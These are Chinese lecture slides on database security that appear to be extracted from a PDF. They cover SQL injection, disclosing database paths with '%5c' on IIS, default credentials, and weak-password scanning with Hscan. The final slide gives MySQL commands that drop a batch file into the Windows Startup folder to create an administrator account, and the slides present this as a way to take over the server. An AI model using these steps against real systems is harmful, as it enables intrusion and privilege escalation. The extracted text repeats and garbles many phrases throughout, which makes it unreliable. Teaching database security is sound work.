数据库安全技术数据库安全技术主讲:张德成z没脑子,脑残,脑贱自己泄露自己的信息z自己泄露自己的信息–校内–校内–QQ–哈工程网站信息被人窃取z网站信息被人窃取内容提要一、常用数据库z一、常用数据库z二、数据库注入z二、数据库注入z三、数据库暴库z三、数据库暴库z四、数据库口令攻击四、数据库口令攻击一、常用数据库一、常用数据库1、Access1、AccessAccess是微软公司推出的基于Windows的桌面关系数据库管理系统(RDBMS,即RelationalDatabaseManagementSystem),是Office系列应用软件之一。System),是Office系列应用软件之一。2、SQLServer1987年,微软和IBM合作开发完成OS/2,IBM在其销售1987年,微软和IBM合作开发完成OS/2,IBM在其销售的OS/2ExtendedEdition系统中绑定了OS/2DatabaseManager,而微软产品线中尚缺少数据库产品。为此,微软将目光投向Sybase,同Sybase签订了合作协议,使用软将目光投向Sybase,同Sybase签订了合作协议,使用Sybase的技术开发基于OS/2平台的关系型数据库。1989年,微软发布了SQLServer1.0版。一、常用数据库一、常用数据库3、MySQL3、MySQLmySQL是一个小型关系型数据库管理系统,开发者为瑞典MySQLAB公司。在2008年1月16号被Sun公司收购。目前MySQL被广泛地应用在Internet上的中小型网站中。由于MySQL被广泛地应用在Internet上的中小型网站中。由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,许多中小型网站为了降低网站总体拥有成本而选择了MySQL作为网站数据库。择了MySQL作为网站数据库。4、OracleOracle前身叫SDL,由LarryEllison和另两个编程人员在1977创办,他们开发了自己的拳头产品,在市场上大员在1977创办,他们开发了自己的拳头产品,在市场上大量销售,1979年,Oracle公司引入了第一个商用SQL关系数据库管理系统。Oracle公司是最早开发关系数据库的厂商之一,其产品支持最广泛的操作系统平台。目前厂商之一,其产品支持最广泛的操作系统平台。目前Oracle关系数据库产品的市场占有率名列前茅。二、数据库注入二、数据库注入SQL注入式攻击并不是什么新事物了,不过近zSQL注入式攻击并不是什么新事物了,不过近来在网站上仍十分猖狂。SQL注入简单的说就是:网站让你输入用户名zSQL注入简单的说就是:网站让你输入用户名和密码的时候,你却输入了可以执行的SQL命令。令。z防注入系统的注入入侵,其原理:在本地搭建运行环境,通过cookies欺骗进行注入。三、数据库暴库三、数据库暴库除了SQL注入攻击之外,我们还可以利用网站数据除了SQL注入攻击之外,我们还可以利用网站数据库的某些特征,进行入侵攻击。该方法较之注入攻击来说,更加直接且危害同样巨大。1、开源,数据库路径暴漏直接开发一套网站源程序是很费力的,许多建站者出于直接开发套网站源程序是很费力的,许多建站者出于节约的考虑,往往会下载活购买一些免费的网站文章系统、论坛等源程序,在经过部分修改后使用2、解码问题,暴出数据库当网页程序调用了数据库的时候,将“/”改成%5c”,IIS经过二次编码调用了数据库的时候,将/改成%5c,IIS经过次编码后,使用相对地址的数据库链接就会出现问题了,导致程序会报错。1、开源,数据库路径暴漏暴1、分析coon.asp文件,找出数据库路径1、分析coon.asp文件,找出数据库路径案例1access_conn.asp。。。。。。。。。。。。IfIsSqlDataBase=1Then‘SQL数据库连接参数:数据库名、用户密码、用户等信息ElseElseNowString=Now()'ACCESS数据库连接,请使用根路径或者绝对路径'ACCESS数据库连接,请使用根路径或者绝对路径db=\database\#newasp.mdbConnstr=Provider=Microsoft.Jet.OLEDB.4.0;DataSource=&ChkMapPath(db)Source=&ChkMapPath(db)EndIf。。。。。。1、开源,数据库路径暴漏暴2、案例2、案例z使用工具——挖掘机,找conn.asp文件案例2z使用工具——挖掘机,找*.mdb文件使用工具挖掘机,找*.mdb文件案例31、开源,数据库路径暴漏,库3、分析数据库,找有用信息3、分析数据库,找有用信息工具:辅臣数据库浏览器数据库:西子湖畔对应的网站:对应的网站:访问访问2、解码问题,暴出数据库暴1、%5c暴库1、%5c暴库“%5c”暴库法,它不是网页本身的漏洞,而是利用了IIS解码方式中的一个特性,如果IIS安全设置不周全,而网页设计者未考虑IIS错误,就会被人利用。那为何要用“%5c”?它实际上是“\”的十六进制代码,也就是“\”的另一种表示法。具体原理:IIS在处理相对路径和绝对路径时出错了。=log把第二个“/”换成“%5c”=log提交后会得到如下结果:MicrosoftJETDatabaseEngine错误‘80004005’'c:\inetpub\不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。径名称拼写是否正确,以及是否连接到文件存放的服务器。/2222/db/user.asp,行62、解码问题,暴出数据库暴2、“%5c”总结2、“%5c”总结z要求访问的网页中有数据库调用。要求使用%5c解码提交的页面,至少为为二级目录,z要求使用%5c解码提交的页面,至少为为二级目录,其形式必须为=log=log=logz多级目录之后的“/”更换为“%5c”成功率更高z多级目录之后的“/更换为“%5c成功率更高四、数据库口令攻击四、数据库口令攻击暴力破解z暴力破解需要知道管理员的相关信息然–需要知道管理员的相关信息,然后制作出合适字典文件。z弱口令入侵四、数据库口令攻击四、数据库口令攻击z数据库的默认用户名和密码z数据库的默认用户名和密码MYsql:rootSQLServer:saOracle:scott密码是tiger;sys密码是change_on_install;system密码是manager;sysman密码是oem_temp。z这些默认设置在方便了用户的同时,也给黑客的入侵带来z这些默认设置在方便了用户的同时,也给黑客的入侵带来了方便,借此他们可以轻松地进入数据库。zOracle和其它主要的数据库厂商在其新版本的产品中表现得聪明起来,它们不再让用户保持默认的和空的用户名现得聪明起来,它们不再让用户保持默认的和空的用户名及口令等。z但这并不意味着,所有的组织都在较老的数据库中敞开着大但这并不意味着,所有的组织都在较老的数据库中敞开着大门。Sentrigo的Markovich说,“你总可以在客户那里找到弱口令和易于猜测的口令。通过强力破解或只试着用不同的组合就可以轻易地找到这种口令。”四、数据库口令攻击四、数据库口令攻击zHscan扫描数据库弱口令zHscan扫描数据库弱口令Hscan是一款采用多线程方式对指定IP段(指定主机),或主机列表进行检测.可以通过GUI和命令行两种方式。它可以用来扫描各种弱口令比如,邮件弱口令,方式。它可以用来扫描各种弱口令比如,邮件弱口令,telnet弱口令,数据库弱口令等。在扫描数据库弱口令的时候需要设置几个参数modules:设置扫描项即扫什么。parameter:设置待扫描主机parameter:设置待扫描主机工具四、数据库口令攻击四、数据库口令攻击四、数据库口令攻击四、数据库口令攻击从显示结果可以看出存在数据库:z从显示结果可以看出存在数据库:discuz、mysql、ucenterz我们可以进一步访问数据库中的内容,再结合web攻击,最终控制整个服务器。四、数据库口令攻击四、数据库口令攻击z除了结合web攻击外,我们还可以向数据库中插入vbs脚本来执z除了结合web攻击外,我们还可以向数据库中插入vbs脚本来执行特殊命令。比如,我们可以在服务器中新建一个管理员用户Showdatabases;Showdatabases;Usediscuz;Showtables;CreatetableMyuser(cmdtxt);CreatetableMy_user(cmdtxt);InsertintoMy_uservalues(“netuseradmin110/add”);InsertintoMy_uservalues(“netlocalgroupadministratorsadmin/add”);admin/add);InsertintoMy_user(“deladmin.bat”);Select*fromMy_userintooutfile”c:\\DoucumentsandSettings\\Allusers\\【开始】菜单\\程序\\启动\\adminbat”;Settings\\Allusers\\【开始】菜单\\程序\\启动\\admin.bat;